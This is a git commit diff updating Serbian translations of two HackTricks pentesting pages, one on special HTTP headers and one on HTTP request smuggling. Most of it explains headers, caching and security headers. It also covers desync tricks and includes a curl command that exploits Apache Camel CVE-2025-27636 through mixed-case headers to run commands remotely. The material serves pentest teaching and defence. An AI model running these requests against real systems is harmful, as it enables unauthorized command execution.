mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/
This commit is contained in:
Translator
parent
cbd8be5fc4
commit
037095bdd5
@ -1,8 +1,8 @@
|
||||
# Posebni HTTP zaglavlja
|
||||
# Posebna HTTP zaglavlja
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Liste reči i alati
|
||||
## Rečnici i alati
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
@ -35,10 +35,11 @@ Prepiši **lokaciju**:
|
||||
|
||||
## Hop-by-Hop zaglavlja
|
||||
|
||||
Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzumirano od strane proksija koji trenutno obrađuje zahtev, za razliku od zaglavlja od kraja do kraja.
|
||||
Hop-by-hop zaglavlje je zaglavlje koje treba da obradi i potroši proxy koji trenutno obrađuje zahtev, za razliku od end-to-end zaglavlja.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
@ -48,58 +49,78 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Zaglavlje Expect
|
||||
|
||||
Moguće je da klijent pošalje zaglavlje `Expect: 100-continue`, a server odgovori sa `HTTP/1.1 100 Continue` da bi dozvolio klijentu da nastavi sa slanjem tela zahteva. Međutim, neki proxyji ne vole ovo zaglavlje.
|
||||
|
||||
Zanimljivi rezultati `Expect: 100-continue`:
|
||||
- Slanje HEAD zahteva sa telom — server nije uzeo u obzir da HEAD zahtevi obično nemaju telo i drži konekciju otvorenom dok ne istekne timeout.
|
||||
- Neki serveri su slali čudne podatke: nasumične podatke pročitane sa soketa u odgovoru, tajne ključeve ili čak omogućili da front-end ne ukloni vrednosti zaglavlja.
|
||||
- Takođe je izazvalo `0.CL` desync kada je backend odgovorio sa 400 umesto sa 100, ali frontend proxy je bio spreman da pošalje telo inicijalnog zahteva, pa ga je poslao, a backend ga je tretirao kao novi zahtev.
|
||||
- Slanje varijacije poput `Expect: y 100-continue` takođe je izazvalo `0.CL` desync.
|
||||
- Slična greška gde je backend odgovorio sa 404 je generisala `CL.0` desync jer zlonamerni zahtev navodi `Content-Length`, pa backend šalje zlonamerni zahtev + `Content-Length` bajtova sledećeg zahteva (žrtve). Ovo desinhronizuje red: backend šalje 404 odgovor za zlonamerni zahtev + odgovor žrtvinog zahteva, dok frontend misli da je poslat samo 1 zahtev, pa drugi odgovor pošalje drugom žrtvinom zahtevu i tako dalje...
|
||||
|
||||
Za više informacija o HTTP Request Smuggling pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Cache zaglavlja
|
||||
|
||||
**Zaglavlja servera za keširanje**:
|
||||
**Server cache zaglavlja**:
|
||||
|
||||
- **`X-Cache`** u odgovoru može imati vrednost **`miss`** kada zahtev nije bio keširan i vrednost **`hit`** kada jeste keširan
|
||||
- Sličan ponašanje ima zaglavlje **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** pokazuje da li se resurs kešira i kada će sledeći put resurs isteći: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** se često koristi u odgovoru da **naznači dodatna zaglavlja** koja se tretiraju kao **deo ključa keša** čak i ako se obično ne koriste za keširanje.
|
||||
- **`Age`** definiše koliko je objekat bio u proxy kešu, u sekundama.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** takođe ukazuje da je resurs bio keširan
|
||||
|
||||
- **`X-Cache`** u odgovoru može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan
|
||||
- Slična ponašanja u zaglavlju **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** označava da li se resurs kešira i kada će biti sledeći put keširan: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** se često koristi u odgovoru da **označi dodatna zaglavlja** koja se tretiraju kao **deo keš ključa** čak i ako su obično neključevi.
|
||||
- **`Age`** definiše vreme u sekundama koliko je objekat bio u proksi kešu.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** takođe označava da je resurs keširan
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**Lokalna keš zaglavlja**:
|
||||
**Lokalna cache zaglavlja**:
|
||||
|
||||
- `Clear-Site-Data`: Zaglavlje koje označava keš koji treba ukloniti: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Sadrži datum/vreme kada odgovor treba da istekne: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Clear-Site-Data`: Zaglavlje koje ukazuje koji keš treba obrisati: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Sadrži datum/vreme kada odgovor treba isteći: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` isto kao `Cache-Control: no-cache`
|
||||
- `Warning`: Opšte HTTP zaglavlje **`Warning`** sadrži informacije o mogućim problemima sa statusom poruke. Više od jednog `Warning` zaglavlja može se pojaviti u odgovoru. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: Generalno HTTP zaglavlje koje sadrži informacije o mogućim problemima sa statusom poruke. Više od jednog `Warning` zaglavlja može se pojaviti u odgovoru. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Uslovi
|
||||
## Uslovni zahtevi
|
||||
|
||||
- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** će dobiti odgovor sa podacima samo ako zaglavlje odgovora **`Last-Modified`** sadrži drugačije vreme.
|
||||
- Uslovni zahtevi koristeći **`If-Match`** i **`If-None-Match`** koriste Etag vrednost tako da web server pošalje sadržaj odgovora ako su podaci (Etag) promenjeni. `Etag` se uzima iz HTTP odgovora.
|
||||
- Vrednost **Etag** se obično **računa** na osnovu **sadržaja** odgovora. Na primer, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` označava da je `Etag` **Sha1** od **37 bajtova**.
|
||||
- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** biće odgovoreni podacima samo ako odgovor sadrži drugačije vreme u zaglavlju **`Last-Modified`**.
|
||||
- Uslovni zahtevi koristeći **`If-Match`** i **`If-None-Match`** koriste vrednost Etag, tako da web server pošalje sadržaj odgovora samo ako se podaci (Etag) promene. `Etag` se uzima iz HTTP odgovora.
|
||||
- Vrednost **Etag** se obično **izračunava** na osnovu **sadržaja** odgovora. Na primer, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ukazuje da je `Etag` **Sha1** od **37 bajtova**.
|
||||
|
||||
## Zahtevi opsega
|
||||
## Range zahtevi
|
||||
|
||||
- **`Accept-Ranges`**: Označava da li server podržava zahteve opsega, i ako da, u kojoj jedinici se opseg može izraziti. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Označava deo dokumenta koji server treba da vrati. Na primer, `Range:80-100` će vratiti bajtove 80 do 100 originalnog odgovora sa status kodom 206 Partial Content. Takođe zapamti da ukloniš `Accept-Encoding` zaglavlje iz zahteva.
|
||||
- Ovo bi moglo biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače mogao biti eskapiran. Ali da bi se ovo zloupotrebilo, potrebno je injektovati ova zaglavlja u zahtev.
|
||||
- **`If-Range`**: Kreira uslovni zahtev opsega koji se ispunjava samo ako dati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva opsega iz nekompatibilnih verzija resursa.
|
||||
- **`Content-Range`**: Označava gde u punom telu poruke pripada delimična poruka.
|
||||
- **`Accept-Ranges`**: Ukazuje da li server podržava range zahteve, i u kojoj jedinici se opseg može izraziti. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Ukazuje koji deo dokumenta server treba da vrati. Na primer, `Range:80-100` će vratiti bajtove 80 do 100 originalnog odgovora sa status kodom 206 Partial Content. Takođe, zapamtite da uklonite `Accept-Encoding` zaglavlje iz zahteva.
|
||||
- Ovo može biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače bio escapovan. Ali da biste to zloupotrebili, potreban je način da ubacite ova zaglavlja u zahtev.
|
||||
- **`If-Range`**: Pravi uslovni range zahtev koji se izvršava samo ako zadati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva range-a iz neslagajućih verzija resursa.
|
||||
- **`Content-Range`**: Ukazuje gde u punom telu poruke pripada parcijalna poruka.
|
||||
|
||||
## Informacije o telu poruke
|
||||
|
||||
- **`Content-Length`:** Veličina resursa, u decimalnom broju bajtova.
|
||||
- **`Content-Type`**: Označava medijski tip resursa
|
||||
- **`Content-Encoding`**: Koristi se za specifikaciju algoritma kompresije.
|
||||
- **`Content-Language`**: Opisuje ljudski jezik(e) namenjene publici, tako da omogućava korisniku da razlikuje prema vlastitom preferiranom jeziku.
|
||||
- **`Content-Location`**: Označava alternativnu lokaciju za vraćene podatke.
|
||||
- **`Content-Type`**: Ukazuje medija tip resursa
|
||||
- **`Content-Encoding`**: Koristi se da specificira algoritam kompresije.
|
||||
- **`Content-Language`**: Opisuje ljudski jezik(e) namenjen publici, kako bi omogućilo korisniku da razlikuje prema svom preferiranom jeziku.
|
||||
- **`Content-Location`**: Ukazuje alternativnu lokaciju za vraćene podatke.
|
||||
|
||||
Iz perspektive pentesta, ove informacije su obično "beskorisne", ali ako je resurs **zaštićen** sa 401 ili 403 i možeš pronaći neki **način** da **dobiješ** ove **informacije**, to bi moglo biti **zanimljivo.**\
|
||||
Na primer, kombinacija **`Range`** i **`Etag`** u HEAD zahtevu može otkriti sadržaj stranice putem HEAD zahteva:
|
||||
Sa stanovišta pentesta ove informacije su obično "useless", ali ako je resurs **protected** od 401 ili 403 i možete naći neki **način** da dobijete ove **info**, to može biti **interesantno.**\
|
||||
Na primer, kombinacija **`Range`** i **`Etag`** u HEAD zahtevu može leak-ovati sadržaj stranice putem HEAD zahteva:
|
||||
|
||||
- Zahtev sa zaglavljem `Range: bytes=20-20` i sa odgovorom koji sadrži `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` otkriva da je SHA1 bajta 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- Zahtev sa zaglavljem `Range: bytes=20-20` i odgovor koji sadrži `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` otkriva da je SHA1 od bajta 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Informacije o serveru
|
||||
|
||||
@ -108,28 +129,29 @@ Na primer, kombinacija **`Range`** i **`Etag`** u HEAD zahtevu može otkriti sad
|
||||
|
||||
## Kontrole
|
||||
|
||||
- **`Allow`**: Ovo zaglavlje se koristi za komunikaciju HTTP metoda koje resurs može obraditi. Na primer, može biti specificirano kao `Allow: GET, POST, HEAD`, što označava da resurs podržava ove metode.
|
||||
- **`Expect`**: Koristi se od strane klijenta da prenese očekivanja koja server treba da ispuni da bi zahtev bio uspešno obrađen. Uobičajena upotreba uključuje zaglavlje `Expect: 100-continue`, koje signalizira da klijent namerava da pošalje veliki paket podataka. Klijent traži `100 (Continue)` odgovor pre nego što nastavi sa prenosom. Ovaj mehanizam pomaže u optimizaciji korišćenja mreže čekajući potvrdu servera.
|
||||
- **`Allow`**: Ovo zaglavlje se koristi da saopšti HTTP metode koje resurs može da podrži. Na primer, može biti specificirano kao `Allow: GET, POST, HEAD`, što znači da resurs podržava te metode.
|
||||
- **`Expect`**: Koristi se od strane klijenta da izrazi očekivanja koja server mora da ispuni da bi zahtev bio uspešno obrađen. Uobičajen primer je `Expect: 100-continue`, koji signalizira da klijent namerava da pošalje veliki payload i očekuje `100 (Continue)` pre nego što nastavi sa slanjem. Ovaj mehanizam pomaže u optimizaciji mrežnog saobraćaja čekajući potvrdu servera.
|
||||
|
||||
## Preuzimanja
|
||||
|
||||
- Zaglavlje **`Content-Disposition`** u HTTP odgovorima usmerava da li bi datoteka trebala biti prikazana **inline** (unutar veb stranice) ili tretirana kao **prilog** (preuzeta). Na primer:
|
||||
- Zaglavlje **`Content-Disposition`** u HTTP odgovorima određuje da li fajl treba da bude prikazan **inline** (u okviru web stranice) ili tretiran kao **attachment** (preuzet). Na primer:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
Ovo znači da je datoteka pod nazivom "filename.jpg" namenjena preuzimanju i čuvanju.
|
||||
Ovo znači da je fajl pod imenom "filename.jpg" predviđen za preuzimanje i čuvanje.
|
||||
|
||||
## Bezbednosni zaglavlja
|
||||
## Sigurnosni zaglavlja
|
||||
|
||||
### Politika bezbednosti sadržaja (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
### **Poverljivi tipovi**
|
||||
### **Trusted Types**
|
||||
|
||||
Sprovodeći Poverljive tipove putem CSP-a, aplikacije se mogu zaštititi od DOM XSS napada. Poverljivi tipovi osiguravaju da se samo posebno izrađeni objekti, u skladu sa uspostavljenim bezbednosnim politikama, mogu koristiti u opasnim pozivima web API-ja, čime se podrazumevano osigurava JavaScript kod.
|
||||
Sprovodeći Trusted Types putem CSP-a, aplikacije mogu biti zaštićene od DOM XSS napada. Trusted Types osiguravaju da se u opasnim pozivima web API-ja mogu koristiti samo posebno kreirani objekti, usklađeni sa uspostavljenim bezbednosnim politikama, čime se JavaScript kod podrazumevano štiti.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,75 +170,75 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
Ova zaglavlja sprečavaju MIME tip sniffing, praksu koja može dovesti do XSS ranjivosti. Osigurava da pregledači poštuju MIME tipove koje je odredio server.
|
||||
Ovaj header sprečava MIME type sniffing — praksu koja može dovesti do XSS ranjivosti. Time se osigurava da pregledači poštuju MIME tipove koje server navede.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Da bi se borili protiv clickjacking-a, ovaj header ograničava kako se dokumenti mogu ugraditi u `<frame>`, `<iframe>`, `<embed>`, ili `<object>` tagove, preporučujući svim dokumentima da eksplicitno navedu svoja prava na ugradnju.
|
||||
Da bi se suzbio clickjacking, ovo zaglavlje ograničava kako se dokumenti mogu ugrađivati u `<frame>`, `<iframe>`, `<embed>` ili `<object>` tagove, preporučujući da svi dokumenti eksplicitno navedu svoje dozvole za ugradnju.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) i Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP je ključan za određivanje koje resurse mogu učitati veb sajtovi, smanjujući cross-site leak-ove. CORS, s druge strane, omogućava fleksibilniji mehanizam deljenja resursa između različitih izvora, opuštajući politiku istog izvora pod određenim uslovima.
|
||||
CORP je ključan za navođenje koje resurse sajtovi mogu da učitaju, smanjujući cross-site leaks. CORS, s druge strane, omogućava fleksibilniji mehanizam za cross-origin deljenje resursa, opuštajući same-origin policy pod određenim uslovima.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
|
||||
### **Cross-Origin Embedder Policy (COEP) i Cross-Origin Opener Policy (COOP)**
|
||||
|
||||
COEP i COOP su ključni za omogućavanje izolacije između različitih izvora, značajno smanjujući rizik od napada sličnih Spectre-u. Oni kontrolišu učitavanje resursa iz drugih izvora i interakciju sa prozorima iz drugih izvora, redom.
|
||||
COEP i COOP su ključne za omogućavanje cross-origin izolacije, što značajno smanjuje rizik od napada sličnih Spectre-u. One kontrolišu učitavanje cross-origin resursa, odnosno interakciju sa cross-origin prozorima.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
### **HTTP Strict Transport Security (HSTS)**
|
||||
|
||||
Na kraju, HSTS je bezbednosna funkcija koja prisiljava pretraživače da komuniciraju sa serverima samo preko sigurnih HTTPS veza, čime se poboljšava privatnost i bezbednost.
|
||||
Na kraju, HSTS je sigurnosna funkcija koja primorava pregledače da komuniciraju sa serverima samo preko sigurnih HTTPS veza, čime se poboljšava privatnost i bezbednost.
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 definiše imena polja zaglavlja kao **neosetljiva na velika i mala slova** (RFC 9110 §5.1). Ipak, veoma je uobičajeno pronaći prilagođeni middleware, sigurnosne filtre ili poslovnu logiku koja upoređuje *doslovno* ime zaglavlja koje je primljeno bez prethodne normalizacije velikih i malih slova (npr. `header.equals("CamelExecCommandExecutable")`). Ako se te provere vrše **osetljivo na velika i mala slova**, napadač može da ih zaobiđe jednostavno slanjem istog zaglavlja sa drugačijom kapitalizacijom.
|
||||
HTTP/1.1 definiše imena polja zaglavlja kao **neosetljiva na veličinu slova** (RFC 9110 §5.1). Ipak, veoma je često naći custom middleware, security filters, ili business logic koji porede *literal* ime zaglavlja koje su dobili bez prethodnog normalizovanja zapisa velikih/malih slova (npr. `header.equals("CamelExecCommandExecutable")`). Ako se te provere izvode **case-sensitively**, napadač ih može zaobići jednostavnim slanjem istog zaglavlja sa drugačijom kapitalizacijom.
|
||||
|
||||
Tipične situacije u kojima se ova greška pojavljuje:
|
||||
|
||||
* Prilagođene liste dozvoljenih/zakonitih koje pokušavaju da blokiraju "opasna" interna zaglavlja pre nego što zahtev dođe do osetljive komponente.
|
||||
* Interna implementacija reverznih proxy pseudo-zaglavlja (npr. `X-Forwarded-For` sanitizacija).
|
||||
* Okviri koji izlažu upravljačke / debag tačke i oslanjaju se na imena zaglavlja za autentifikaciju ili izbor komandi.
|
||||
* Custom allow/deny lists koje pokušavaju da blokiraju “dangerous” internal headers pre nego što zahtev stigne do osetljive komponente.
|
||||
* Interna implementacija reverse-proxy pseudo-headers (npr. `X-Forwarded-For` sanitisation).
|
||||
* Frameworks koji izlažu management / debug endpoints i oslanjaju se na imena zaglavlja za autentifikaciju ili izbor komande.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Identifikujte zaglavlje koje se filtrira ili validira na serverskoj strani (na primer, čitanjem izvornog koda, dokumentacije ili poruka o grešci).
|
||||
2. Pošaljite **isto zaglavlje sa drugačijom kapitalizacijom** (mešovita ili velika slova). Pošto HTTP stekovi obično kanonizuju zaglavlja samo *nakon* što je korisnički kod izvršen, ranjiva provera može biti preskočena.
|
||||
3. Ako donja komponenta tretira zaglavlja na način koji nije osetljiv na velika i mala slova (većina to radi), prihvatiće vrednost koju kontroliše napadač.
|
||||
1. Identifikujte zaglavlje koje se filtrira ili validira na server-side (na primer, čitanjem source code-a, dokumentacije, ili error poruka).
|
||||
2. Pošaljite **isto zaglavlje sa drugačijom veličinom slova** (mešoviti zapis ili samo velika slova). Pošto HTTP stack-ovi obično canonicalizuju zaglavlja tek *nakon* što korisnički kod izvrši, ranjiva provera može biti zaobiđena.
|
||||
3. Ako downstream komponenta tretira zaglavlja na način neosetljiv na veličinu slova (većina tako radi), prihvatiće vrednost koju kontroliše napadač.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
U ranjivim verzijama Apache Camel, *Command Center* rute pokušavaju da blokiraju nepouzdane zahteve uklanjanjem zaglavlja `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Upoređivanje je izvršeno sa `equals()`, tako da su samo tačno mala imena uklonjena.
|
||||
U ranjivim verzijama Apache Camel, *Command Center* rute pokušavaju da blokiraju nepouzdane zahteve tako što uklanjaju zaglavlja `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Poređenje je rađeno pomoću `equals()` pa su uklanjana samo imena koja su se tačno poklapala (sa istom veličinom slova).
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Zaglavlja dolaze do `exec` komponente nefiltrirana, što rezultira daljinskom izvršavanjem komandi sa privilegijama Camel procesa.
|
||||
Zaglavlja stižu do `exec` komponente nefiltrirano, što dovodi do izvršavanja udaljenih komandi sa privilegijama Camel procesa.
|
||||
|
||||
### Detekcija i ublažavanje
|
||||
### Otkrivanje i ublažavanje
|
||||
|
||||
* Normalizujte sve nazive zaglavlja na jedan oblik (obično mala slova) **pre** nego što izvršite poređenja dozvola/odbijanja.
|
||||
* Normalizujte sva imena zaglavlja na jedan oblik (obično lowercase) **pre nego što** izvršite allow/deny poređenja.
|
||||
* Odbacite sumnjive duplikate: ako su prisutni i `Header:` i `HeAdEr:`, tretirajte to kao anomaliju.
|
||||
* Koristite pozitivnu dozvoljenu listu koja se primenjuje **posle** kanonizacije.
|
||||
* Zaštitite upravljačke krajnje tačke autentifikacijom i mrežnom segmentacijom.
|
||||
* Koristite pozitivnu allow-listu koja se primenjuje **nakon** kanonizacije.
|
||||
* Zaštitite management endpoint-e autentikacijom i mrežnom segmentacijom.
|
||||
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [CVE-2025-27636 – RCE u Apache Camel putem zaobilaženja velikih i malih slova zaglavlja (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
||||
@ -5,8 +5,8 @@
|
||||
|
||||
## Šta je
|
||||
|
||||
Ova ranjivost se javlja kada postoji **desinhronizacija** između **front-end proxies** i **back-end** servera koja omogućava **attacker**-u da **pošalje** HTTP **request** koji će biti **interpretiran** kao **jedan request** od strane **front-end** proxies (load balance/reverse-proxy), a **kao 2 request-a** od strane **back-end** servera.\
|
||||
Ovo omogućava korisniku da **izmeni sledeći request koji stigne do back-end servera nakon njegovog**.
|
||||
Ova ranjivost se javlja kada postoji **desyncronization** između **front-end proxies** i **back-end** servera što omogućava **attacker**-u da **send**-uje HTTP **request** koji će **interpreted** biti kao **single request** od strane **front-end** proxies (load balance/reverse-proxy), a **as 2 request** od strane **back-end** servera.\
|
||||
To dozvoljava korisniku da **modify the next request that arrives to the back-end server after his**.
|
||||
|
||||
### Teorija
|
||||
|
||||
@ -25,41 +25,58 @@ Ovo omogućava korisniku da **izmeni sledeći request koji stigne do back-end se
|
||||
|
||||
### Realnost
|
||||
|
||||
Prednji sloj (a load-balance / Reverse Proxy) obrađuje _**Content-Length**_ ili _**Transfer-Encoding**_ header, a **back-end** server obrađuje onaj drugi, što izaziva **desinhronizaciju** između ta dva sistema.\
|
||||
Ovo može biti veoma kritično jer **attacker** će moći da pošalje jedan request ka reverse proxy-ju koji će **back-end** server **interpretirati** kao **2 različita request-a**. Opasnost ove tehnike leži u tome što će **back-end** server tretirati **drugi injektovani request** kao da je **stigao od narednog klijenta**, dok će **stvarni request** tog klijenta postati **deo injektovanog request-a**.
|
||||
The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header i **Back-end** server **process the other**, što izaziva **desyncronization** između ta dva sistema.\
|
||||
Ovo može biti veoma kritično jer **an attacker will be able to send one request** ka reverse proxy-ju koji će **interpreted** od strane **back-end** servera **as 2 different requests**. **Danger** ove tehnike leži u tome što će **back-end** server tretirati **2nd request injected** kao da je **came from the next client**, dok će **real request** tog klijenta postati **part** od **injected request**-a.
|
||||
|
||||
### Specifičnosti
|
||||
### Posebnosti
|
||||
|
||||
Zapamtite da u HTTP-u **karakter novog reda se sastoji od 2 bajta:**
|
||||
|
||||
- **Content-Length**: Ovaj header koristi **decimalni broj** da označi **broj bajtova** tela request-a. Body se očekuje da se završi poslednjim karakterom, **novi red nije potreban na kraju request-a**.
|
||||
- **Transfer-Encoding:** Ovaj header koristi u **telu** **heksadecimalni broj** da označi **broj bajtova** narednog **chunka**. **Chunk** mora da se **završi** sa **novim redom**, ali taj novi red **nije uračunat** u indikator dužine. Ovaj način transfera mora da se završi sa **chunk-om veličine 0 praćenim sa 2 nova reda**: `0`
|
||||
- **Connection**: Iz mog iskustva preporučuje se korišćenje **`Connection: keep-alive`** na prvom request-u kod request smuggling-a.
|
||||
- **Content-Length**: Ovaj header koristi **decimal number** da označi **number** of **bytes** tela zahteva. Body se očekuje da se završi na poslednjem karakteru, **a new line is not needed in the end of the request**.
|
||||
- **Transfer-Encoding:** Ovaj header koristi u **body**-u **hexadecimal number** da označi **number** of **bytes** narednog chunk-a. **Chunk** mora **end**-ovati sa **new line** ali taj new line **nije uračunat** u indikator dužine. Ovaj način prenosa mora da se završi sa **chunk**-om veličine 0 koji je praćen sa **2 new lines**: `0`
|
||||
- **Connection**: Iz ličnog iskustva, preporučuje se korišćenje **`Connection: keep-alive`** na prvom request-u pri pokušaju request Smuggling-a.
|
||||
|
||||
### Visible - Hidden
|
||||
|
||||
Glavni problem sa HTTP/1.1 je što svi zahtevi idu kroz isti TCP socket, pa ako postoji razlika u načinu na koji dva sistema primaju zahteve, moguće je poslati jedan request koji će biti tretiran kao dva različita (ili više) zahteva od strane finalnog backend-a (ili čak posredničkih sistema).
|
||||
|
||||
**[This blog post](https://portswigger.net/research/http1-must-die)** predlaže nove načine za otkrivanje desync napada na sistem koji neće biti detektovani od strane WAF-ova. Radi toga predstavlja Visible vs Hidden ponašanja. Cilj je pokušati pronaći discrepancije u odgovoru koristeći tehnike koje bi mogle izazvati desynce bez stvarnog eksploatisanja.
|
||||
|
||||
Na primer, slanje zahteva sa normalnim Host header-om i sa " host" header-om — ako backend odbaci taj zahtev (možda zato što je vrednost " host" netačna) to može značiti da front-end nije uzeo u obzir " host" header dok je finalni backend koristio tu vrednost, što visoko verovatno ukazuje na desync između front-end-a i backend-a.
|
||||
|
||||
Ovo bi bila **Hidden-Visible discrepancy**.
|
||||
|
||||
Ako je front-end uzeo u obzir " host" header ali backend nije, to bi mogao biti **Visible-Hidden** slučaj.
|
||||
|
||||
Na primer, ovo je omogućilo otkrivanje desync-ova između AWS ALB kao front-end-a i IIS kao backend-a. Kada je poslat "Host: foo/bar", ALB je vratio `400, Server; awselb/2.0`, ali kada je poslat "Host : foo/bar", vratio je `400, Server: Microsoft-HTTPAPI/2.0`, što ukazuje da backend šalje odgovor. Ovo je Hidden-Visible (H-V) situacija.
|
||||
|
||||
Napomena: ovo nije automatski ispravljeno u AWS-u, ali može se prevenirati postavljanjem `routing.http.drop_invalid_header_fields.enabled` i `routing.http.desync_mitigation_mode = strictest`.
|
||||
|
||||
|
||||
## Osnovni primeri
|
||||
|
||||
> [!TIP]
|
||||
> Kada pokušavate da ovo eksploatišete sa Burp Suite-om **isključite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u zato što neki gadget-i zloupotrebljavaju nove linije, carriage return-e i malformed content-length vrednosti.
|
||||
> Kada pokušavate da eksploatišete ovo sa Burp Suite-om, **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** u repeater-u zato što neki gadgets zloupotrebljavaju newlines, carriage returns i malformed content-lengths.
|
||||
|
||||
HTTP request smuggling napadi se prave slanjem dvosmislenih zahteva koji iskorišćavaju razlike u tumačenju `Content-Length` (CL) i `Transfer-Encoding` (TE) header-a između front-end i back-end servera. Ovi napadi se mogu manifestovati u različitim oblicima, pre svega kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju prioriteta koje front-end i back-end serveri daju ovim header-ima. Ranjivosti nastaju zato što serveri procesiraju isti request na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
|
||||
